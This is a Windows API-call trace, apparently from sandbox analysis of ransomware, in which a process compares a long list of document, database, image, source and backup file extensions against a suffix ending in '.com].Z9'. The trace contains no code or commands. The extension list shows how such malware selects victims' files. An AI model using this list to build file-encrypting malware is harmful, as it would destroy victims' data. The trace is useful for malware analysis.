	[0159.332] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0159.332] lstrlenW (lpString=".3fr") returned 4
	[0159.332] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0159.332] lstrlenW (lpString=".3g2") returned 4
	[0159.332] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0159.332] lstrlenW (lpString=".3gp") returned 4
	[0159.332] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0159.332] lstrlenW (lpString=".7z") returned 3
	[0159.332] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0159.332] lstrlenW (lpString=".accda") returned 6
	[0159.332] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0159.332] lstrlenW (lpString=".accdb") returned 6
	[0159.332] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0159.332] lstrlenW (lpString=".accdc") returned 6
	[0159.332] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0159.332] lstrlenW (lpString=".accde") returned 6
	[0159.332] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0159.332] lstrlenW (lpString=".accdt") returned 6
	[0159.332] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0159.332] lstrlenW (lpString=".accdw") returned 6
	[0159.332] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0159.332] lstrlenW (lpString=".adb") returned 4
	[0159.332] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0159.332] lstrlenW (lpString=".adp") returned 4
	[0159.332] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".ai") returned 3
	[0159.333] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0159.333] lstrlenW (lpString=".ai3") returned 4
	[0159.333] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".ai4") returned 4
	[0159.333] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".ai5") returned 4
	[0159.333] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".ai6") returned 4
	[0159.333] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".ai7") returned 4
	[0159.333] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".ai8") returned 4
	[0159.333] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".anim") returned 5
	[0159.333] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0159.333] lstrlenW (lpString=".arw") returned 4
	[0159.333] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".as") returned 3
	[0159.333] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0159.333] lstrlenW (lpString=".asa") returned 4
	[0159.333] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".asc") returned 4
	[0159.333] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".ascx") returned 5
	[0159.333] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0159.333] lstrlenW (lpString=".asm") returned 4
	[0159.333] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".asmx") returned 5
	[0159.333] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0159.333] lstrlenW (lpString=".asp") returned 4
	[0159.333] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".aspx") returned 5
	[0159.333] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0159.333] lstrlenW (lpString=".asr") returned 4
	[0159.333] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0159.333] lstrlenW (lpString=".asx") returned 4
	[0159.333] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".avi") returned 4
	[0159.334] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".avs") returned 4
	[0159.334] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".backup") returned 7
	[0159.334] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0159.334] lstrlenW (lpString=".bak") returned 4
	[0159.334] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".bay") returned 4
	[0159.334] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".bd") returned 3
	[0159.334] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0159.334] lstrlenW (lpString=".bin") returned 4
	[0159.334] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".bmp") returned 4
	[0159.334] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".bz2") returned 4
	[0159.334] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".c") returned 2
	[0159.334] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0159.334] lstrlenW (lpString=".cdr") returned 4
	[0159.334] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".cer") returned 4
	[0159.334] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".cf") returned 3
	[0159.334] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0159.334] lstrlenW (lpString=".cfc") returned 4
	[0159.334] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".cfm") returned 4
	[0159.334] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".cfml") returned 5
	[0159.334] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0159.334] lstrlenW (lpString=".cfu") returned 4
	[0159.334] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".chm") returned 4
	[0159.334] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0159.334] lstrlenW (lpString=".cin") returned 4
	[0159.334] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".class") returned 6
	[0159.335] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0159.335] lstrlenW (lpString=".clx") returned 4
	[0159.335] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".config") returned 7
	[0159.335] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0159.335] lstrlenW (lpString=".cpp") returned 4
	[0159.335] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".cr2") returned 4
	[0159.335] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".crt") returned 4
	[0159.335] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".crw") returned 4
	[0159.335] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".cs") returned 3
	[0159.335] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0159.335] lstrlenW (lpString=".css") returned 4
	[0159.335] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".csv") returned 4
	[0159.335] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".cub") returned 4
	[0159.335] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".dae") returned 4
	[0159.335] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".dat") returned 4
	[0159.335] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".db") returned 3
	[0159.335] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0159.335] lstrlenW (lpString=".dbf") returned 4
	[0159.335] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".dbx") returned 4
	[0159.335] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".dc3") returned 4
	[0159.335] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".dcm") returned 4
	[0159.335] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0159.335] lstrlenW (lpString=".dcr") returned 4
	[0159.335] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".der") returned 4
	[0159.336] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dib") returned 4
	[0159.336] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dic") returned 4
	[0159.336] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dif") returned 4
	[0159.336] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".divx") returned 5
	[0159.336] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0159.336] lstrlenW (lpString=".djvu") returned 5
	[0159.336] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dng") returned 4
	[0159.336] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".doc") returned 4
	[0159.336] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".docm") returned 5
	[0159.336] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0159.336] lstrlenW (lpString=".docx") returned 5
	[0159.336] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dot") returned 4
	[0159.336] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dotm") returned 5
	[0159.336] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dotx") returned 5
	[0159.336] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dpx") returned 4
	[0159.336] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dqy") returned 4
	[0159.336] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dsn") returned 4
	[0159.336] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dt") returned 3
	[0159.336] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0159.336] lstrlenW (lpString=".dtd") returned 4
	[0159.336] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0159.336] lstrlenW (lpString=".dwg") returned 4
	[0159.336] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".dwt") returned 4
	[0159.337] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".dx") returned 3
	[0159.337] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0159.337] lstrlenW (lpString=".dxf") returned 4
	[0159.337] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".edml") returned 5
	[0159.337] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0159.337] lstrlenW (lpString=".efd") returned 4
	[0159.337] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".elf") returned 4
	[0159.337] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".emf") returned 4
	[0159.337] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".emz") returned 4
	[0159.337] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".epf") returned 4
	[0159.337] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".eps") returned 4
	[0159.337] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".epsf") returned 5
	[0159.337] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0159.337] lstrlenW (lpString=".epsp") returned 5
	[0159.337] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0159.337] lstrlenW (lpString=".erf") returned 4
	[0159.337] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".exr") returned 4
	[0159.337] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".f4v") returned 4
	[0159.337] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".fido") returned 5
	[0159.337] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0159.337] lstrlenW (lpString=".flm") returned 4
	[0159.337] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".flv") returned 4
	[0159.337] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0159.337] lstrlenW (lpString=".frm") returned 4
	[0159.337] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".fxg") returned 4
	[0159.338] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".geo") returned 4
	[0159.338] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".gif") returned 4
	[0159.338] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".grs") returned 4
	[0159.338] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".gz") returned 3
	[0159.338] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0159.338] lstrlenW (lpString=".h") returned 2
	[0159.338] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0159.338] lstrlenW (lpString=".hdr") returned 4
	[0159.338] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".hpp") returned 4
	[0159.338] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".hta") returned 4
	[0159.338] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".htc") returned 4
	[0159.338] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".htm") returned 4
	[0159.338] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".html") returned 5
	[0159.338] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0159.338] lstrlenW (lpString=".icb") returned 4
	[0159.338] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".ics") returned 4
	[0159.338] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".iff") returned 4
	[0159.338] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".inc") returned 4
	[0159.338] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".indd") returned 5
	[0159.338] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0159.338] lstrlenW (lpString=".ini") returned 4
	[0159.338] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0159.338] lstrlenW (lpString=".iqy") returned 4
	[0159.338] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".j2c") returned 4
	[0159.339] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".j2k") returned 4
	[0159.339] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".java") returned 5
	[0159.339] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0159.339] lstrlenW (lpString=".jp2") returned 4
	[0159.339] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".jpc") returned 4
	[0159.339] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".jpe") returned 4
	[0159.339] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".jpeg") returned 5
	[0159.339] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0159.339] lstrlenW (lpString=".jpf") returned 4
	[0159.339] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".jpg") returned 4
	[0159.339] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".jpx") returned 4
	[0159.339] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".js") returned 3
	[0159.339] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0159.339] lstrlenW (lpString=".jsf") returned 4
	[0159.339] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".json") returned 5
	[0159.339] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0159.339] lstrlenW (lpString=".jsp") returned 4
	[0159.339] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".kdc") returned 4
	[0159.339] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".kmz") returned 4
	[0159.339] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".kwm") returned 4
	[0159.339] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0159.339] lstrlenW (lpString=".lasso") returned 6
	[0159.339] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0159.339] lstrlenW (lpString=".lbi") returned 4
	[0159.339] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".lgf") returned 4
	[0159.340] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".lgp") returned 4
	[0159.340] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".log") returned 4
	[0159.340] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".m1v") returned 4
	[0159.340] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".m4a") returned 4
	[0159.340] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".m4v") returned 4
	[0159.340] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".max") returned 4
	[0159.340] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".md") returned 3
	[0159.340] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0159.340] lstrlenW (lpString=".mda") returned 4
	[0159.340] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mdb") returned 4
	[0159.340] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mde") returned 4
	[0159.340] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mdf") returned 4
	[0159.340] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mdw") returned 4
	[0159.340] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mef") returned 4
	[0159.340] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mft") returned 4
	[0159.340] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mfw") returned 4
	[0159.340] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mht") returned 4
	[0159.340] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mhtml") returned 6
	[0159.340] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0159.340] lstrlenW (lpString=".mka") returned 4
	[0159.340] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mkidx") returned 6
	[0159.341] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mkv") returned 4
	[0159.341] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mos") returned 4
	[0159.341] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mov") returned 4
	[0159.341] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mp3") returned 4
	[0159.341] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mp4") returned 4
	[0159.341] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mpeg") returned 5
	[0159.341] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mpg") returned 4
	[0159.341] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mpv") returned 4
	[0159.341] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mrw") returned 4
	[0159.341] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".msg") returned 4
	[0159.341] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0159.341] lstrlenW (lpString=".mxl") returned 4
	[0159.341] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".myd") returned 4
	[0159.342] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".myi") returned 4
	[0159.342] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".nef") returned 4
	[0159.342] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".nrw") returned 4
	[0159.342] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".obj") returned 4
	[0159.342] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".odb") returned 4
	[0159.342] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".odc") returned 4
	[0159.342] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".odm") returned 4
	[0159.342] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".odp") returned 4
	[0159.342] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".ods") returned 4
	[0159.342] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".oft") returned 4
	[0159.342] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".one") returned 4
	[0159.342] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".onepkg") returned 7
	[0159.342] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0159.342] lstrlenW (lpString=".onetoc2") returned 8
	[0159.342] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0159.342] lstrlenW (lpString=".opt") returned 4
	[0159.342] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".oqy") returned 4
	[0159.342] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".orf") returned 4
	[0159.342] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".p12") returned 4
	[0159.342] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0159.342] lstrlenW (lpString=".p7b") returned 4
	[0159.343] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".p7c") returned 4
	[0159.343] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pam") returned 4
	[0159.343] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pbm") returned 4
	[0159.343] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pct") returned 4
	[0159.343] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pcx") returned 4
	[0159.343] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pdd") returned 4
	[0159.343] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pdf") returned 4
	[0159.343] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pdp") returned 4
	[0159.343] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pef") returned 4
	[0159.343] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pem") returned 4
	[0159.343] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pff") returned 4
	[0159.343] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pfm") returned 4
	[0159.343] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pfx") returned 4
	[0159.343] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".pgm") returned 4
	[0159.343] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".php") returned 4
	[0159.343] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0159.343] lstrlenW (lpString=".php3") returned 5
	[0159.343] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0159.343] lstrlenW (lpString=".php4") returned 5
	[0159.343] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0159.343] lstrlenW (lpString=".php5") returned 5
	[0159.343] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0159.343] lstrlenW (lpString=".phtml") returned 6
	[0159.344] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0159.344] lstrlenW (lpString=".pict") returned 5
	[0159.344] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0159.344] lstrlenW (lpString=".pl") returned 3
	[0159.344] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0159.344] lstrlenW (lpString=".pls") returned 4
	[0159.344] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0159.344] lstrlenW (lpString=".pm") returned 3
	[0159.344] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0159.344] lstrlenW (lpString=".png") returned 4
	[0159.344] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0159.344] lstrlenW (lpString=".pnm") returned 4
	[0159.344] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
